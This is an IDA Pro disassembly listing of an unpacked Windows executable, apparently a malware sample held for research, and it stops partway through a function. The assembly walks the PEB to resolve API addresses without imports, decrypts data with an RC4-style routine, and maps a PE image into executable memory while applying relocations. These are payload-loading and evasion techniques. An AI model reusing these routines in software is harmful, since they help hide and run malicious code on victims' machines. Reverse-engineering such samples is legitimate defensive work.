;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	C65B35C625F4E8F5BC789E4E0E3BEA4A

; File Name   :	u:\work\c65b35c625f4e8f5bc789e4e0e3bea4a_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	10000000
; Section 1. (virtual address 00001000)
; Virtual size			: 0000510E (  20750.)
; Section size in file		: 0000510E (  20750.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default
; OS type	  :  MS	Windows
; Application type:  Executable	32bit

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 10001000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001000	proc near		; CODE XREF: sub_1000102A+14p
					; WinMain(x,x,x,x):loc_10002C8Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_4], 0
		push	esi
		push	ebx
		mov	eax, large fs:30h
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebx, [eax+8]
		mov	[ebp+var_4], ebx
		pop	ebx
		pop	esi
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10001000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000102A	proc near		; CODE XREF: WinMain(x,x,x,x):loc_10002C73p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_4], 0
		push	eax
		push	ebx
		push	ecx
		push	edx
		push	ebp
		push	esi
		push	edi
		nop
		nop
		call	sub_10001000
		xor	ebp, ebp
		nop
		nop
		mov	ebx, [eax+3Ch]
		add	ebx, eax
		mov	edx, [ebx+78h]
		add	edx, eax
		nop
		nop
		mov	ecx, [edx+20h]
		add	ecx, eax
		nop
		nop
		mov	esi, [edx+1Ch]
		add	esi, eax


loc_1000105F:				; CODE XREF: sub_1000102A+5Aj
		mov	edi, [ecx]
		add	edi, eax
		nop
		nop
		cmp	dword ptr [edi+4], 41636F72h
		jnz	short loc_1000107C
		add	esi, ebp
		mov	esi, [esi]
		nop
		nop
		add	esi, eax
		mov	eax, esi
		jmp	short loc_10001086
; ---------------------------------------------------------------------------
		align 4


loc_1000107C:				; CODE XREF: sub_1000102A+42j
		add	ecx, 4
		add	ebp, 4
		nop
		nop
		jmp	short loc_1000105F
; ---------------------------------------------------------------------------


loc_10001086:				; CODE XREF: sub_1000102A+4Ej
		pop	edi
		nop
		nop
		pop	esi
		pop	ebp
		pop	edx
		pop	ecx
		pop	ebx
		nop
		nop
		mov	[ebp+var_4], eax
		pop	eax
		nop
		nop
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_1000102A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000109E(char	*Str, int, int)

sub_1000109E	proc near		; CODE XREF: sub_10001D53+1Cp
					; sub_10001D53+3Dp ...

var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_100		= byte ptr -100h
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 118h
		push	ebx
		push	esi
		push	edi
		push	1		; int
		mov	eax, [ebp+arg_8]
		imul	eax, 0Ah
		push	eax		; Size
		call	sub_10002DEB
		pop	ecx
		pop	ecx
		mov	[ebp+var_118], eax
		nop
		nop
		nop
		nop
		cmp	[ebp+var_118], 0
		jnz	short loc_100010D4
		xor	eax, eax
		jmp	loc_100012DF
; ---------------------------------------------------------------------------


loc_100010D4:				; CODE XREF: sub_1000109E+2Dj
		and	[ebp+var_114], 0
		jmp	short loc_100010EA
; ---------------------------------------------------------------------------


loc_100010DD:				; CODE XREF: sub_1000109E+6Fj
		mov	eax, [ebp+var_114]
		inc	eax
		mov	[ebp+var_114], eax


loc_100010EA:				; CODE XREF: sub_1000109E+3Dj
		cmp	[ebp+var_114], 0FFh
		jg	short loc_1000110F
		nop
		nop
		nop
		nop
		mov	eax, [ebp+var_114]
		mov	cl, byte ptr [ebp+var_114]
		mov	[ebp+eax+var_100], cl
		jmp	short loc_100010DD
; ---------------------------------------------------------------------------


loc_1000110F:				; CODE XREF: sub_1000109E+56j
		and	[ebp+var_110], 0
		and	[ebp+var_108], 0
		jmp	short loc_1000112C
; ---------------------------------------------------------------------------


loc_1000111F:				; CODE XREF: sub_1000109E+12Aj
		mov	eax, [ebp+var_108]
		inc	eax
		mov	[ebp+var_108], eax


loc_1000112C:				; CODE XREF: sub_1000109E+7Fj
		cmp	[ebp+var_108], 0FFh
		jg	loc_100011CD
		nop
		nop
		nop
		nop
		push	[ebp+Str]	; Str
		call	_strlen
		pop	ecx
		mov	ecx, eax
		mov	eax, [ebp+var_108]
		xor	edx, edx
		div	ecx
		mov	eax, [ebp+Str]
		movsx	eax, byte ptr [eax+edx]
		mov	ecx, [ebp+var_108]
		movzx	ecx, [ebp+ecx+var_100]
		mov	edx, [ebp+var_110]
		add	edx, eax
		add	ecx, edx
		mov	eax, ecx
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	[ebp+var_110], edx
		nop
		nop
		nop
		nop
		mov	eax, [ebp+var_108]
		mov	al, [ebp+eax+var_100]
		mov	[ebp+var_104], al
		mov	eax, [ebp+var_108]
		mov	ecx, [ebp+var_110]
		mov	cl, [ebp+ecx+var_100]
		mov	[ebp+eax+var_100], cl
		mov	eax, [ebp+var_110]
		mov	cl, [ebp+var_104]
		mov	[ebp+eax+var_100], cl
		jmp	loc_1000111F
; ---------------------------------------------------------------------------


loc_100011CD:				; CODE XREF: sub_1000109E+98j
		and	[ebp+var_108], 0
		and	[ebp+var_110], 0
		and	[ebp+var_108], 0
		jmp	short loc_100011F1
; ---------------------------------------------------------------------------


loc_100011E4:				; CODE XREF: sub_1000109E+236j
		mov	eax, [ebp+var_108]
		inc	eax
		mov	[ebp+var_108], eax


loc_100011F1:				; CODE XREF: sub_1000109E+144j
		mov	eax, [ebp+var_108]
		cmp	eax, [ebp+arg_8]
		jge	loc_100012D9
		mov	eax, [ebp+var_108]
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	[ebp+var_10C], edx
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		mov	eax, [ebp+var_10C]
		movzx	eax, [ebp+eax+var_100]
		add	eax, [ebp+var_110]
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	[ebp+var_110], edx
		mov	eax, [ebp+var_10C]
		mov	al, [ebp+eax+var_100]
		mov	[ebp+var_104], al
		mov	eax, [ebp+var_10C]
		mov	ecx, [ebp+var_110]
		mov	cl, [ebp+ecx+var_100]
		mov	[ebp+eax+var_100], cl
		mov	eax, [ebp+var_110]
		mov	cl, [ebp+var_104]
		mov	[ebp+eax+var_100], cl
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_108]
		movsx	ecx, byte ptr [eax]
		mov	eax, [ebp+var_10C]
		movzx	eax, [ebp+eax+var_100]
		mov	edx, [ebp+var_110]
		movzx	edx, [ebp+edx+var_100]
		add	eax, edx
		cdq
		mov	esi, 100h
		idiv	esi
		movzx	eax, [ebp+edx+var_100]
		xor	ecx, eax
		mov	eax, [ebp+var_118]
		add	eax, [ebp+var_108]
		mov	[eax], cl
		nop
		nop
		nop
		nop
		jmp	loc_100011E4
; ---------------------------------------------------------------------------


loc_100012D9:				; CODE XREF: sub_1000109E+15Cj
		mov	eax, [ebp+var_118]


loc_100012DF:				; CODE XREF: sub_1000109E+31j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_1000109E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100012E4	proc near		; CODE XREF: WinMain(x,x,x,x)+172p

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
Size		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		shl	eax, 4
		mov	[ebp+Size], eax
		push	1		; int
		push	[ebp+Size]	; Size
		call	sub_10002DEB
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_1000130C
		xor	eax, eax
		jmp	short locret_10001336
; ---------------------------------------------------------------------------


loc_1000130C:				; CODE XREF: sub_100012E4+22j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	2
		call	dword_1000A7DC
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	[ebp+Size]
		push	[ebp+var_10]
		push	2
		call	dword_1000A7C8
		mov	eax, [ebp+var_10]

locret_10001336:			; CODE XREF: sub_100012E4+26j
		leave
		retn
sub_100012E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001338	proc near		; CODE XREF: sub_10001365+18p
					; sub_10001365+AFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		nop
		nop
		nop
		nop
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_4]
		test	edx, edx
		jnz	short loc_10001353
		mov	eax, [ebp+arg_0]
		jmp	short loc_10001360
; ---------------------------------------------------------------------------


loc_10001353:				; CODE XREF: sub_10001338+14j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_4]
		inc	eax
		imul	eax, [ebp+arg_4]


loc_10001360:				; CODE XREF: sub_10001338+19j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_10001338	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001365	proc near		; CODE XREF: sub_100014CA+A9p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		nop
		nop
		nop
		nop
		mov	eax, [ebp+arg_8]
		push	dword ptr [eax+38h]
		mov	eax, [ebp+arg_8]
		push	dword ptr [eax+54h]
		call	sub_10001338
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		and	[ebp+var_8], 0
		jmp	short loc_10001394
; ---------------------------------------------------------------------------


loc_1000138D:				; CODE XREF: sub_10001365:loc_100014BDj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_10001394:				; CODE XREF: sub_10001365+26j
		mov	eax, [ebp+arg_8]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_8], eax
		jge	loc_100014C2
		nop
		nop
		nop
		nop
		mov	eax, [ebp+var_8]
		imul	eax, 28h
		mov	ecx, [ebp+var_8]
		imul	ecx, 28h
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+eax+14h]
		mov	edx, [ebp+arg_C]
		add	eax, [edx+ecx+10h]
		cmp	eax, [ebp+arg_4]
		jbe	short loc_100013CE
		xor	eax, eax
		jmp	loc_100014C5
; ---------------------------------------------------------------------------


loc_100013CE:				; CODE XREF: sub_10001365+60j
		mov	eax, [ebp+var_8]
		imul	eax, 28h
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+eax+0Ch], 0
		jz	short loc_10001455
		nop
		nop
		nop
		nop
		nop
		mov	eax, [ebp+var_8]
		imul	eax, 28h
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_10001424
		mov	eax, [ebp+arg_8]
		push	dword ptr [eax+38h]
		mov	eax, [ebp+var_8]
		imul	eax, 28h
		mov	ecx, [ebp+var_8]
		imul	ecx, 28h
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+eax+0Ch]
		mov	edx, [ebp+arg_C]
		add	eax, [edx+ecx+8]
		push	eax
		call	sub_10001338
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		nop
		nop
		nop
		nop
		jmp	short loc_10001453
; ---------------------------------------------------------------------------


loc_10001424:				; CODE XREF: sub_10001365+8Cj
		nop
		nop
		nop
		nop
		mov	eax, [ebp+arg_8]
		push	dword ptr [eax+38h]
		mov	eax, [ebp+var_8]
		imul	eax, 28h
		mov	ecx, [ebp+var_8]
		imul	ecx, 28h
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+eax+0Ch]
		mov	edx, [ebp+arg_C]
		add	eax, [edx+ecx+10h]
		push	eax
		call	sub_10001338
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax


loc_10001453:				; CODE XREF: sub_10001365+BDj
		jmp	short loc_100014BD
; ---------------------------------------------------------------------------


loc_10001455:				; CODE XREF: sub_10001365+77j
		mov	eax, [ebp+var_8]
		imul	eax, 28h
		mov	ecx, [ebp+var_8]
		imul	ecx, 28h
		mov	edx, [ebp+arg_C]
		mov	esi, [ebp+arg_C]
		mov	eax, [edx+eax+8]
		cmp	eax, [esi+ecx+10h]
		jnb	short loc_10001498
		nop
		nop
		nop
		mov	eax, [ebp+arg_8]
		push	dword ptr [eax+38h]
		mov	eax, [ebp+var_8]
		imul	eax, 28h
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax+8]
		call	sub_10001338
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		jmp	short loc_100014BD
; ---------------------------------------------------------------------------


loc_10001498:				; CODE XREF: sub_10001365+10Aj
		mov	eax, [ebp+arg_8]
		push	dword ptr [eax+38h]
		mov	eax, [ebp+var_8]
		imul	eax, 28h
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax+8]
		call	sub_10001338
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		nop
		nop
		nop


loc_100014BD:				; CODE XREF: sub_10001365:loc_10001453j
					; sub_10001365+131j
		jmp	loc_1000138D
; ---------------------------------------------------------------------------


loc_100014C2:				; CODE XREF: sub_10001365+39j
		mov	eax, [ebp+var_4]


loc_100014C5:				; CODE XREF: sub_10001365+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10001365	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100014CA	proc near		; CODE XREF: sub_10001CF2+20p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_18], eax
		cmp	[ebp+arg_4], 40h
		jnb	short loc_100014E6
		xor	eax, eax
		jmp	loc_100017AD
; ---------------------------------------------------------------------------


loc_100014E6:				; CODE XREF: sub_100014CA+13j
		mov	eax, [ebp+var_18]
		movzx	eax, word ptr [eax]
		cmp	eax, 5A4Dh
		jz	short loc_100014FA
		xor	eax, eax
		jmp	loc_100017AD
; ---------------------------------------------------------------------------


loc_100014FA:				; CODE XREF: sub_100014CA+27j
		mov	eax, [ebp+var_18]
		mov	eax, [eax+3Ch]
		add	eax, 0F8h
		cmp	[ebp+arg_4], eax
		jge	short loc_10001511
		xor	eax, eax
		jmp	loc_100017AD
; ---------------------------------------------------------------------------


loc_10001511:				; CODE XREF: sub_100014CA+3Ej
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_18]
		add	ecx, [eax+3Ch]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax], 4550h
		jz	short loc_1000152F
		xor	eax, eax
		jmp	loc_100017AD
; ---------------------------------------------------------------------------


loc_1000152F:				; CODE XREF: sub_100014CA+5Cj
		mov	eax, [ebp+var_8]
		movzx	eax, word ptr [eax+16h]
		and	eax, 2000h
		test	eax, eax
		jnz	short loc_10001553
		xor	eax, eax
		test	eax, eax
		jnz	short loc_10001553
		mov	eax, [ebp+var_8]
		movzx	eax, word ptr [eax+14h]
		cmp	eax, 0E0h
		jz	short loc_1000155A


loc_10001553:				; CODE XREF: sub_100014CA+73j
					; sub_100014CA+79j
		xor	eax, eax
		jmp	loc_100017AD
; ---------------------------------------------------------------------------


loc_1000155A:				; CODE XREF: sub_100014CA+87j
		nop
		nop
		mov	eax, [ebp+var_8]
		add	eax, 0F8h
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	[ebp+var_18]
		call	sub_10001365
		add	esp, 10h
		mov	ecx, [ebp+arg_14]
		mov	[ecx], eax
		nop
		nop
		nop
		nop
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax], 0
		jnz	short loc_10001593
		xor	eax, eax
		jmp	loc_100017AD
; ---------------------------------------------------------------------------


loc_10001593:				; CODE XREF: sub_100014CA+C0j
		push	40h
		push	1000h
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax]
		push	0
		call	dword_1000A858
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax], 0
		jz	loc_100017AA
		mov	eax, [ebp+var_8]
		mov	eax, [eax+54h]
		mov	[ebp+var_14], eax
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		and	[ebp+var_10], 0
		jmp	short loc_100015D5
; ---------------------------------------------------------------------------


loc_100015CE:				; CODE XREF: sub_100014CA:loc_10001613j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_100015D5:				; CODE XREF: sub_100014CA+102j
		mov	eax, [ebp+var_8]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_10], eax
		jge	short loc_10001615
		mov	eax, [ebp+var_10]
		imul	eax, 28h
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+eax+14h], 0
		jz	short loc_10001613
		mov	eax, [ebp+var_10]
		imul	eax, 28h
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx+eax+14h]
		cmp	eax, [ebp+var_14]
		jnb	short loc_10001613
		mov	eax, [ebp+var_10]
		imul	eax, 28h
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx+eax+14h]
		mov	[ebp+var_14], eax


loc_10001613:				; CODE XREF: sub_100014CA+125j
					; sub_100014CA+137j
		jmp	short loc_100015CE
; ---------------------------------------------------------------------------


loc_10001615:				; CODE XREF: sub_100014CA+115j
		nop
		nop
		nop
		nop
		nop
		nop
		push	[ebp+var_14]
		push	[ebp+var_18]
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax]
		call	sub_100027F9
		add	esp, 0Ch
		nop
		nop
		nop
		nop
		mov	eax, [ebp+arg_10]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_10]
		mov	ecx, [ecx]
		add	ecx, [eax+3Ch]
		mov	eax, [ebp+arg_8]
		mov	[eax], ecx
		nop
		nop
		nop
		nop
		nop
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		add	eax, 0F8h
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		nop
		nop
		nop
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		push	dword ptr [eax+38h]
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		push	dword ptr [eax+54h]
		call	sub_10001338
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_10]
		mov	ecx, [ecx]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		nop
		nop
		nop
		nop
		nop
		nop
		and	[ebp+var_10], 0
		jmp	short loc_1000168F
; ---------------------------------------------------------------------------


loc_10001688:				; CODE XREF: sub_100014CA:loc_100017A5j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_1000168F:				; CODE XREF: sub_100014CA+1BCj
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_10], eax
		jge	loc_100017AA
		mov	eax, [ebp+var_10]
		imul	eax, 28h
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx]
		cmp	dword ptr [ecx+eax+0Ch], 0
		jz	short loc_100016CA
		mov	eax, [ebp+var_10]
		imul	eax, 28h
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx]
		mov	edx, [ebp+arg_10]
		mov	edx, [edx]
		add	edx, [ecx+eax+0Ch]
		mov	[ebp+var_C], edx


loc_100016CA:				; CODE XREF: sub_100014CA+1E7j
		mov	eax, [ebp+var_10]
		imul	eax, 28h
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx]
		cmp	dword ptr [ecx+eax+10h], 0
		jz	loc_1000177F
		nop
		nop
		mov	eax, [ebp+var_10]
		imul	eax, 28h
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx]
		push	dword ptr [ecx+eax+10h]
		mov	eax, [ebp+var_10]
		imul	eax, 28h
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx]
		mov	edx, [ebp+var_18]
		add	edx, [ecx+eax+14h]
		push	edx
		push	[ebp+var_C]
		call	sub_100027F9
		add	esp, 0Ch
		mov	eax, [ebp+var_10]
		imul	eax, 28h
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx]
		mov	edx, [ebp+var_10]
		imul	edx, 28h
		mov	esi, [ebp+arg_C]
		mov	esi, [esi]
		mov	eax, [ecx+eax+8]
		cmp	eax, [esi+edx+10h]
		jnb	short loc_10001757
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		push	dword ptr [eax+38h]
		mov	eax, [ebp+var_10]
		imul	eax, 28h
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx]
		push	dword ptr [ecx+eax+10h]
		call	sub_10001338
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		jmp	short loc_1000177D
; ---------------------------------------------------------------------------


loc_10001757:				; CODE XREF: sub_100014CA+263j
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		push	dword ptr [eax+38h]
		mov	eax, [ebp+var_10]
		imul	eax, 28h
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx]
		push	dword ptr [ecx+eax+8]
		call	sub_10001338
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx


loc_1000177D:				; CODE XREF: sub_100014CA+28Bj
		jmp	short loc_100017A5
; ---------------------------------------------------------------------------


loc_1000177F:				; CODE XREF: sub_100014CA+210j
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		push	dword ptr [eax+38h]
		mov	eax, [ebp+var_10]
		imul	eax, 28h
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx]
		push	dword ptr [ecx+eax+8]
		call	sub_10001338
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx


loc_100017A5:				; CODE XREF: sub_100014CA:loc_1000177Dj
		jmp	loc_10001688
; ---------------------------------------------------------------------------


loc_100017AA:				; CODE XREF: sub_100014CA+E8j
					; sub_100014CA+1D1j
		push	1
		pop	eax


loc_100017AD:				; CODE XREF: sub_100014CA+17j
					; sub_100014CA+2Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_100014CA	endp

; [00000011 BYTES: COLLAPSED FUNCTION __uncaught_exception(void). PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_100017C3(char	*Source)

sub_100017C3	proc near		; CODE XREF: sub_10001A2B+1Fp

Dst		= dword	ptr -4
Source		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	1		; int
		push	100h		; Size
		call	sub_10002DEB
		pop	ecx
		pop	ecx
		mov	[ebp+Dst], eax
		call	?__uncaught_exception@@YA_NXZ ;	__uncaught_exception(void)
		test	eax, eax
		jz	short loc_1000181E
		push	100h		; Size
		push	0		; Val
		push	[ebp+Dst]	; Dst
		call	_memset
		add	esp, 0Ch
		nop
		nop
		nop
		nop
		nop
		nop
		push	100h
		push	[ebp+Dst]
		push	0
		call	dword_1000A808
		push	[ebp+Source]	; Source
		push	[ebp+Dst]	; Dest
		call	_strcat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+Dst]
		jmp	short loc_10001820
; ---------------------------------------------------------------------------


loc_1000181E:				; CODE XREF: sub_100017C3+1Fj
		xor	eax, eax


loc_10001820:				; CODE XREF: sub_100017C3+59j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_100017C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001825	proc near		; CODE XREF: sub_10001A2B+12Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+0A0h], 0
		jz	short loc_1000184A
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+0A4h], 0
		jz	short loc_1000184A
		mov	[ebp+var_4], 1
		jmp	short loc_1000184E
; ---------------------------------------------------------------------------


loc_1000184A:				; CODE XREF: sub_10001825+Ej
					; sub_10001825+1Aj
		and	[ebp+var_4], 0


loc_1000184E:				; CODE XREF: sub_10001825+23j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_10001825	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001853	proc near		; CODE XREF: sub_10001A2B+16Bp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		sub	ecx, [eax+34h]
		mov	[ebp+var_8], ecx
		nop
		nop
		nop
		nop
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		add	ecx, [eax+0A0h]
		mov	[ebp+var_4], ecx


loc_1000187B:				; CODE XREF: sub_10001853+A2j
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ecx, [ebp+var_4]
		add	eax, [ecx+4]
		test	eax, eax
		jz	short loc_100018F7
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], 1
		jmp	short loc_100018A3
; ---------------------------------------------------------------------------


loc_1000189C:				; CODE XREF: sub_10001853+9Aj
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_100018A3:				; CODE XREF: sub_10001853+47j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		sub	eax, 8
		shr	eax, 1
		cmp	[ebp+var_10], eax
		ja	short loc_100018EF
		xor	eax, eax
		test	eax, eax
		jz	short loc_100018E5
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		add	ecx, [eax]
		mov	eax, [ebp+var_14]
		movzx	eax, word ptr [eax]
		and	eax, 0FFFh
		add	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		mov	eax, [eax]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	[ecx], eax


loc_100018E5:				; CODE XREF: sub_10001853+64j
		mov	eax, [ebp+var_14]
		inc	eax
		inc	eax
		mov	[ebp+var_14], eax
		jmp	short loc_1000189C
; ---------------------------------------------------------------------------


loc_100018EF:				; CODE XREF: sub_10001853+5Ej
		mov	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		jmp	short loc_1000187B
; ---------------------------------------------------------------------------


loc_100018F7:				; CODE XREF: sub_10001853+35j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10001853	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100018FC	proc near		; CODE XREF: sub_10001A2B+EFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
